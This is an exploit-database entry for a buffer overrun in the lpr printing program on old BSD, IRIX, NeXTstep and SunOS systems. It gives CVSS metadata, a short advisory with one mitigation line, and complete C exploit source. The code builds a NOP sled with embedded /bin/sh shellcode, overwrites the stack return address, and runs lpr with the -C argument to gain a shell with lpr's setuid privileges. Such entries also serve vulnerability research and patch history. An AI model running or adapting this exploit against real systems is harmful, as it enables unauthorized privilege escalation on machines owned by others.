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lpr
by:
SecurityFocus
7.5
CVSS
HIGH
Buffer Overrun
120
CWE
Product Name: lpr
Affected Version From: 2.1
Affected Version To: 4.1.2004
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Various
2002

BSD/OS 2.1,FreeBSD 2.1.5,NeXTstep 4.0/4.1,SGI IRIX 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun Vulnerability (1)

Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.

Mitigation:

Ensure that the lpr program is not installed with setuid or setgid privileges.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/707/info

BSD/OS 2.1,FreeBSD 2.1.5,NeXTstep 4.0/4.1,SGI IRIX 6.4,SunOS 4.1.3/4.1.4 lpr Buffer Overrun Vulnerability (1) 

Due to insufficient bounds checking on arguments (in this case -C) which are supplied by users, it is possible to overwrite the internal stack space of the lpr program while it is executing. This can allow an intruder to cause lpr to execute arbitrary commands by supplying a carefully designed argument to lpr. These commands will be run with the privileges of the lpr program. When lpr is installed setuid or setgid, it may allow intruders to gain those privileges.
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}